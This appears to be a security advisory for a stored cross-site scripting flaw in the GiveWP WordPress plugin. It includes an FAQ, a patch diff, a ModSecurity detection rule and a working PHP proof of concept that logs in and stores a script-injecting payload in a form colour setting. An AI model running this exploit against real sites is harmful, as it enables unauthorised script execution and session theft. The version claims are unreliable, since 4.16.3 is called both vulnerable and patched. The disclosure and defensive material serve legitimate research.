What is CVE-2026-14318?

CVE-2026-14318 is a stored cross-site scripting (XSS) vulnerability in the GiveWP donation plugin for WordPress, affecting versions up to and including 4.16.3. It allows authenticated users with custom role-level access to inject malicious scripts into donation forms, which execute when other users view the page.

How does the stored XSS vulnerability work?

The vulnerability arises from insufficient input sanitization and output escaping in several template files. For example, the progress bar color and style variables are echoed directly into HTML attributes without proper escaping. An attacker can modify these settings to include a payload that breaks out of the attribute and executes JavaScript in the browser of any user visiting the form.

Who is affected by this vulnerability?

WordPress sites running GiveWP versions up to 4.16.3 are affected. The attack requires an authenticated user with at least a custom role that has permission to manage donation form settings. This typically includes roles like administrator, editor, or a custom role with form editing capabilities.

How can I check if my site is vulnerable?

Check the GiveWP plugin version in your WordPress admin under Plugins. If the version is 4.16.3 or lower, your site is vulnerable. You can also review your user roles to see if any non-admin users have access to donation form settings, as they could exploit this.

What is the CVSS score and what does it mean?

The CVSS score is 6.4, which is rated as Medium severity. This indicates a moderate risk: exploitation requires an authenticated user with specific permissions, but the impact can be significant, including session hijacking, site defacement, or full administrative compromise if an admin views the injected page.

How was the vulnerability patched?

The patch in version 4.16.3 adds proper output escaping and sanitization to the affected template files. For instance, it uses sanitize_hex_color() for color values and esc_attr() for style and label attributes. It also removes direct use of $_POST data for gateway settings, reducing the risk of user-controlled input.

What should I do to fix the vulnerability?

Update the GiveWP plugin to version 4.16.3 or later as soon as possible. If you cannot update immediately, restrict access to donation form settings to trusted administrators only, and audit any custom roles to ensure they do not have unnecessary permissions.

Can the proof of concept (PoC) be used to test my site?

The PoC provided demonstrates the attack by logging in as an attacker with custom role access and modifying the progress bar color setting to inject a script. You can use it only on your own test environment or with explicit permission. It is not intended for unauthorized testing.

What is the root cause of this vulnerability?

The root cause is the lack of output escaping in several template files, such as variables.php and progress-bar.php, where user-supplied values are directly echoed into HTML. This allows an attacker to inject additional HTML attributes or JavaScript code.

What are the potential impacts of exploitation?

If exploited, an attacker can execute arbitrary JavaScript in the context of an administrator’s session. This can lead to stealing session cookies, creating new admin accounts, modifying site content, or distributing malware. The impact is high even though the attack requires authenticated access.

How does the patch affect existing settings?

The patch does not change existing settings but ensures that any output is properly escaped. For example, color values are validated with sanitize_hex_color(), and style attributes are escaped with esc_attr(). This may cause some special characters in existing settings to be displayed differently, but it prevents XSS.

Are there any other security considerations?

Beyond updating, review your user roles to ensure only trusted users can edit donation forms. Also, consider implementing a web application firewall (WAF) to detect and block XSS attempts. Regularly update all plugins and themes to maintain overall security.

Published : August 7, 2026

CVE-2026-14318: GiveWP – Donation Plugin and Fundraising Platform < 4.16.3 Authenticated (Custom role+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

CVE ID CVE-2026-14318

Plugin give

Severity Medium (CVSS 6.4)

CWE 79

Vulnerable Version 4.16.3

Patched Version 4.16.3

Disclosed July 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14318: GiveWP – Donation Plugin and Fundraising Platform versions up to 4.16.3 contain a Stored Cross-Site Scripting (XSS) vulnerability. The flaw exists due to insufficient input sanitization and output escaping in several template and rendering functions. Authenticated attackers with custom role-level access can inject arbitrary web scripts that execute when an administrator or other user visits the affected page. The vulnerability carries a CVSS score of 6.4 (Medium), indicating a significant risk to the integrity of the WordPress site and the security of its administrators.

Root Cause: The root cause is the use of unsanitized and unescaped output in several frontend rendering paths within the plugin. Specifically, the `variables.php` file in the Classic template directly echoes the `$statsProgressBarColor` variable without sanitization or escaping. Similarly, the `progress-bar.php` file in the Sequoia template and `templates/shortcode-goal.php` directly echo the `$style` variable into a `style` attribute. The `CheckoutModal.php` trait and the `Actions.php` file for the Sequoia template directly insert `$display_label` and `$label` respectively into the `value` attribute of an “ tag. These variables are derived from user-supplied data, such as form settings or custom labels, and when not escaped, they allow the injection of HTML attributes that can be leveraged for XSS attacks.

Exploitation: An authenticated attacker with a custom role that has access to donation form management settings can exploit this vulnerability. The attacker modifies a donation form’s goal color, progress bar style, or the submit button label to include a malicious payload. For instance, the attacker could set the goal color to `red”>alert(document.cookie)<span style="`. When the form is rendered to any user, the `sanitize_hex_color` and `esc_attr` functions are not applied in vulnerable versions, so the injected script executes. The attack vector is the WordPress admin panel, where the attacker modifies the settings, and the payload triggers on the public-facing donation form or via the `give_goal` shortcode.

Patch Analysis: The patch (version 4.16.3) introduces output escaping functions to all affected rendering locations. The `variables.php` file now uses `sanitize_hex_color()` to validate the color value. The `progress-bar.php` and `shortcode-goal.php` files now wrap the `$style` variable with `esc_attr()`. The `CheckoutModal.php` and `Actions.php` files now use `esc_attr()` on the label variables. This prevents the injection of additional HTML attributes or malicious strings by encoding special characters. The patch also removes the use of `$_POST` data for gateway settings in `functions.php`, which reduces the risk of user-controlled data being used directly in settings, and adds a check to hide anonymous donors from REST API subscriptions.

Impact: Successful exploitation allows an attacker to inject arbitrary JavaScript into the context of a logged-in administrator's session. Upon visiting the compromised page, the malicious script can steal session cookies, modify site content, add new administrator users, or perform other administrative actions. This can lead to complete site compromise, data theft, and malware distribution. The vulnerability's medium severity reflects the requirement for an authenticated user with custom role-level access, but the impact on affected organizations can be critical.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/give/give.php
+++ b/give/give.php
@@ -6,7 +6,7 @@
  * Description: The most robust, flexible, and intuitive way to accept donations on WordPress.
  * Author: GiveWP
  * Author URI: https://givewp.com/
- * Version: 4.16.2
+ * Version: 4.16.3
  * Requires at least: 6.6
  * Requires PHP: 7.4
  * Text Domain: give
@@ -426,7 +426,7 @@
     {
         // Plugin version.
         if (!defined('GIVE_VERSION')) {
-            define('GIVE_VERSION', '4.16.2');
+            define('GIVE_VERSION', '4.16.3');
         }

         // Plugin Root File.
--- a/give/includes/gateways/functions.php
+++ b/give/includes/gateways/functions.php
@@ -78,13 +78,11 @@

     $enabled = [];
     if (!$version || $version === 2) {
-        $gatewaysFromPostRequest = isset($_POST['gateways']) ? (array)$_POST['gateways'] : null;
-        $enabled = array_merge($enabled, $gatewaysFromPostRequest ?? (array)give_get_option('gateways', []));
+        $enabled = array_merge($enabled, (array)give_get_option('gateways', []));
     }

     if (!$version || $version === 3) {
-        $gatewaysFromPostRequest = isset($_POST['gateways_v3']) ? (array)$_POST['gateways_v3'] : null;
-        $enabled = array_merge($enabled, $gatewaysFromPostRequest ?? (array)give_get_option('gateways_v3', []));
+        $enabled = array_merge($enabled, (array)give_get_option('gateways_v3', []));
     }

 	$gateway_list = [];
@@ -370,19 +368,11 @@
 	// Get gateways setting.
     $gateways_setting = [];
     if (!$version || $version === 2) {
-        $gatewaysFromPostRequest = isset($_POST['gateways']) ? (array)$_POST['gateways'] : null;
-        $gateways_setting = array_merge(
-            $gateways_setting,
-            $gatewaysFromPostRequest ?? (array)give_get_option('gateways', [])
-        );
+        $gateways_setting = array_merge($gateways_setting, (array)give_get_option('gateways', []));
     }

     if (!$version || $version === 3) {
-        $gatewaysFromPostRequest = isset($_POST['gateways_v3']) ? (array)$_POST['gateways_v3'] : null;
-        $gateways_setting = array_merge(
-            $gateways_setting,
-            $gatewaysFromPostRequest ?? (array)give_get_option('gateways_v3', [])
-        );
+        $gateways_setting = array_merge($gateways_setting, (array)give_get_option('gateways_v3', []));
     }

 	// Return from here if we do not have gateways setting.
--- a/give/src/API/REST/V3/Routes/Subscriptions/SubscriptionController.php
+++ b/give/src/API/REST/V3/Routes/Subscriptions/SubscriptionController.php
@@ -236,6 +236,7 @@
     /**
      * Get a subscription.
      *
+     * @since 4.16.3 Return 404 for anonymous donors unless explicitly included.
      * @since 4.8.0
      *
      * @param WP_REST_Request $request Full data about the request.
@@ -247,13 +248,17 @@
     public function get_item($request)
     {
         $subscription = Subscription::find($request->get_param('id'));
+        $donorAnonymousMode = new DonorAnonymousMode($request->get_param('anonymousDonors'));

-        if (!$subscription) {
+        // Hide anonymous donors unless explicitly included, matching the collection and donor endpoints.
+        if (
+            !$subscription
+            || ($subscription->donor && $subscription->donor->isAnonymous() && $donorAnonymousMode->isExcluded())
+        ) {
             return new WP_Error('subscription_not_found', __('Subscription not found', 'give'), ['status' => 404]);
         }

         $includeSensitiveData = $request->get_param('includeSensitiveData');
-        $donorAnonymousMode = new DonorAnonymousMode($request->get_param('anonymousDonors'));

         $item = (new SubscriptionViewModel($subscription))
             ->anonymousMode($donorAnonymousMode)
--- a/give/src/PaymentGateways/Gateways/Stripe/Traits/CheckoutModal.php
+++ b/give/src/PaymentGateways/Gateways/Stripe/Traits/CheckoutModal.php
@@ -14,6 +14,7 @@
      * @param int   $formId Donation Form ID.
      * @param array $args   Donation Form Arguments.
      *
+     * @since 4.16.3 Escaped the submit button label in the Stripe checkout modal.
      * @since 2.19.0 Migrated from the legacy Give_Stripe_Checkout::showCheckoutModal implementation of the Stripe Checkout Gateway.
      *
      * @return string
@@ -129,7 +130,7 @@
                                 '<input type="submit" class="%1$s" id="%2$s" value="%3$s" data-before-validation-label="%3$s" name="%4$s" data-is_legacy_form="%5$s" disabled/>',
                                 FormUtils::isLegacyForm() ? 'give-btn give-stripe-checkout-modal-donate-button' : 'give-btn give-stripe-checkout-modal-sequoia-donate-button',
                                 "give-stripe-checkout-modal-donate-button-{$idPrefix}",
-                                $display_label,
+                                esc_attr($display_label),
                                 'give_stripe_modal_donate',
                                 FormUtils::isLegacyForm()
                             );
--- a/give/src/Views/Form/Templates/Classic/resources/css/variables.php
+++ b/give/src/Views/Form/Templates/Classic/resources/css/variables.php
@@ -4,6 +4,6 @@
     <?php if (!empty($headerBackgroundColor)) : ?>
     --give-header-background-color--for-rgb: <?= hexdec(substr($headerBackgroundColor, 1, 2)) ?>, <?= hexdec(substr($headerBackgroundColor, 3, 2)) ?>, <?= hexdec(substr($headerBackgroundColor, 5, 2)) ?>;
     <?php endif; ?>
-    --give-header-stats-progressbar-color: <?= $statsProgressBarColor ?>;
+    --give-header-stats-progressbar-color: <?= sanitize_hex_color($statsProgressBarColor) ?? '' ?>;
     --give-primary-font: '<?= $primaryFont; ?>';
 }
--- a/give/src/Views/Form/Templates/Sequoia/Actions.php
+++ b/give/src/Views/Form/Templates/Sequoia/Actions.php
@@ -223,6 +223,7 @@
     /**
      * Add checkout button
      *
+     * @since 4.16.3 Escaped the checkout button label in the Sequoia template.
      * @since 2.7.0
      */
     public function getCheckoutButton()
@@ -237,7 +238,7 @@
 		    <input type="submit" class="give-submit give-btn" id="give-purchase-button" name="give-purchase" value="%1$s" data-before-validation-label="Donate Now">
 				<span class="give-loading-animation"></span>
 		  </div>',
-            $label
+            esc_attr($label)
         );
     }

--- a/give/src/Views/Form/Templates/Sequoia/sections/progress-bar.php
+++ b/give/src/Views/Form/Templates/Sequoia/sections/progress-bar.php
@@ -1,6 +1,8 @@
 <?php

 /**
+ * @since 4.16.3 Escaped the goal color when rendering the progress bar.
+ *
  * @var int $formId
  */
 if ($form->has_goal()) : ?>
@@ -16,8 +18,7 @@
     <div class="progress-bar">
         <div class="give-progress-bar" role="progressbar" aria-valuemin="0" aria-valuemax="100" aria-valuenow="<?php
         echo $goalStats['progress']; ?>">
-            <span style="<?php
-            echo $style; ?>"></span>
+            <span style="<?php echo esc_attr($style); ?>"></span>
         </div><!-- /.give-progress-bar -->
     </div>
 <?php
--- a/give/templates/shortcode-goal.php
+++ b/give/templates/shortcode-goal.php
@@ -5,6 +5,8 @@

 /**
  * This template is used to display the goal with [give_goal]
+ *
+ * @since 4.16.3 Escaped the goal color when rendering the progress bar.
  */

 /**
@@ -257,7 +259,7 @@
         ?>
         <div class="progress-bar">
             <div class="give-progress-bar" role="progressbar" aria-valuemin="0" aria-valuemax="100" aria-valuenow="<?php echo esc_attr( $progress_bar_value ); ?>">
-                <span style="<?php echo $style; ?>"></span>
+                <span style="<?php echo esc_attr( $style ); ?>"></span>
             </div>
         </div>
     <?php endif; ?>
--- a/give/vendor/composer/installed.php
+++ b/give/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'impress-org/give',
-        'pretty_version' => '4.16.2',
-        'version' => '4.16.2.0',
-        'reference' => '22eba7d49d574a629258cdd18ed14e0f2595eb66',
+        'pretty_version' => '4.16.3',
+        'version' => '4.16.3.0',
+        'reference' => '9366b333f78080457a9cbc1065b84535ca83e2d1',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -20,9 +20,9 @@
             'dev_requirement' => false,
         ),
         'impress-org/give' => array(
-            'pretty_version' => '4.16.2',
-            'version' => '4.16.2.0',
-            'reference' => '22eba7d49d574a629258cdd18ed14e0f2595eb66',
+            'pretty_version' => '4.16.3',
+            'version' => '4.16.3.0',
+            'reference' => '9366b333f78080457a9cbc1065b84535ca83e2d1',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-14318
# This rule targets the specific vulnerable parameter 'stats_progress_bar_color' on the GiveWP form settings update endpoint.
# It blocks malicious XSS payloads attempting to be stored via this parameter.

SecRule REQUEST_URI "@rx ^/wp-admin/admin.php$" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-14318 GiveWP Stored XSS via stats_progress_bar_color',severity:'CRITICAL',tag:'CVE-2026-14318'"
  SecRule ARGS_GET:page "@streq give-donation-forms" "chain"
    SecRule ARGS:stats_progress_bar_color "@rx (?:<|>|onload|onerror|onfocus|script|alert)" "t:lowercase,chain"
      SecRule ARGS:stats_progress_bar_color "@rx s+on|</|><" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14318 - GiveWP – Donation Plugin and Fundraising Platform < 4.16.3 - Authenticated (Custom role+) Stored Cross-Site Scripting

// This PoC demonstrates how an authenticated user with custom role-level access can inject a stored XSS payload via the GiveWP plugin's progress bar color setting.

$target_url = 'http://target-site.com'; // Change to the target WordPress site URL
$username = 'attacker';                 // Username with 'custom role' or higher
$password = 'password';                 // Password for the user

// Step 1: Login to WordPress admin and get session cookies
$login_endpoint = $target_url . '/wp-login.php';
$ch = curl_init($login_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/givewp_cookies.txt');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
]));
curl_exec($ch);
curl_close($ch);

// Step 2: Fetch the donation form settings page to get the nonce
$form_id = 1; // The ID of the target donation form
$settings_url = $target_url . '/wp-admin/admin.php?page=give-donation-forms&view=give-forms&id=' . $form_id;
$ch = curl_init($settings_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/givewp_cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce from the page (simplified)
preg_match('/give_forms_nonce" value="([^"]+)/', $response, $matches);
if (empty($matches[1])) {
    die('Could not extract nonce. Update the regex or check the form ID.');
}
$nonce = $matches[1];

// Step 3: POST the malicious progress bar color setting
$update_url = $target_url . '/wp-admin/admin.php?page=give-donation-forms';

// The XSS payload. This will be stored and executed when the form is rendered.
$payload = 'red" onfocus="alert(1)" autofocus="" x=';

$ch = curl_init($update_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/givewp_cookies.txt');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'give_forms_nonce' => $nonce,
    'give-form-save' => '1',
    'give-form-title' => 'Test Form',
    'give_settings[stats_progress_bar_color]' => $payload,
    // Add other required settings as needed
]));
$response = curl_exec($ch);
curl_close($ch);

// Step 4: Verify the XSS is stored by fetching the donation form public page
echo "[+] Stored XSS payload. Visiting the donation form will trigger the script.n";

// Clean up
unlink('/tmp/givewp_cookies.txt');

?>

Frequently Asked Questions

What is CVE-2026-14318?
Vulnerability overview
CVE-2026-14318 is a stored cross-site scripting (XSS) vulnerability in the GiveWP donation plugin for WordPress, affecting versions up to and including 4.16.3. It allows authenticated users with custom role-level access to inject malicious scripts into donation forms, which execute when other users view the page.
How does the stored XSS vulnerability work?
Technical explanation
The vulnerability arises from insufficient input sanitization and output escaping in several template files. For example, the progress bar color and style variables are echoed directly into HTML attributes without proper escaping. An attacker can modify these settings to include a payload that breaks out of the attribute and executes JavaScript in the browser of any user visiting the form.
Who is affected by this vulnerability?
Affected users and roles
WordPress sites running GiveWP versions up to 4.16.3 are affected. The attack requires an authenticated user with at least a custom role that has permission to manage donation form settings. This typically includes roles like administrator, editor, or a custom role with form editing capabilities.
How can I check if my site is vulnerable?
Detection steps
Check the GiveWP plugin version in your WordPress admin under Plugins. If the version is 4.16.3 or lower, your site is vulnerable. You can also review your user roles to see if any non-admin users have access to donation form settings, as they could exploit this.
What is the CVSS score and what does it mean?
Severity interpretation
The CVSS score is 6.4, which is rated as Medium severity. This indicates a moderate risk: exploitation requires an authenticated user with specific permissions, but the impact can be significant, including session hijacking, site defacement, or full administrative compromise if an admin views the injected page.
How was the vulnerability patched?
Patch details
The patch in version 4.16.3 adds proper output escaping and sanitization to the affected template files. For instance, it uses sanitize_hex_color() for color values and esc_attr() for style and label attributes. It also removes direct use of $_POST data for gateway settings, reducing the risk of user-controlled input.
What should I do to fix the vulnerability?
Immediate actions
Update the GiveWP plugin to version 4.16.3 or later as soon as possible. If you cannot update immediately, restrict access to donation form settings to trusted administrators only, and audit any custom roles to ensure they do not have unnecessary permissions.
Can the proof of concept (PoC) be used to test my site?
PoC usage
The PoC provided demonstrates the attack by logging in as an attacker with custom role access and modifying the progress bar color setting to inject a script. You can use it only on your own test environment or with explicit permission. It is not intended for unauthorized testing.
What is the root cause of this vulnerability?
Underlying issue
The root cause is the lack of output escaping in several template files, such as variables.php and progress-bar.php, where user-supplied values are directly echoed into HTML. This allows an attacker to inject additional HTML attributes or JavaScript code.
What are the potential impacts of exploitation?
Consequences
If exploited, an attacker can execute arbitrary JavaScript in the context of an administrator’s session. This can lead to stealing session cookies, creating new admin accounts, modifying site content, or distributing malware. The impact is high even though the attack requires authenticated access.
How does the patch affect existing settings?
Behavioral changes
The patch does not change existing settings but ensures that any output is properly escaped. For example, color values are validated with sanitize_hex_color(), and style attributes are escaped with esc_attr(). This may cause some special characters in existing settings to be displayed differently, but it prevents XSS.
Are there any other security considerations?
Additional recommendations
Beyond updating, review your user roles to ensure only trusted users can edit donation forms. Also, consider implementing a web application firewall (WAF) to detect and block XSS attempts. Regularly update all plugins and themes to maintain overall security.

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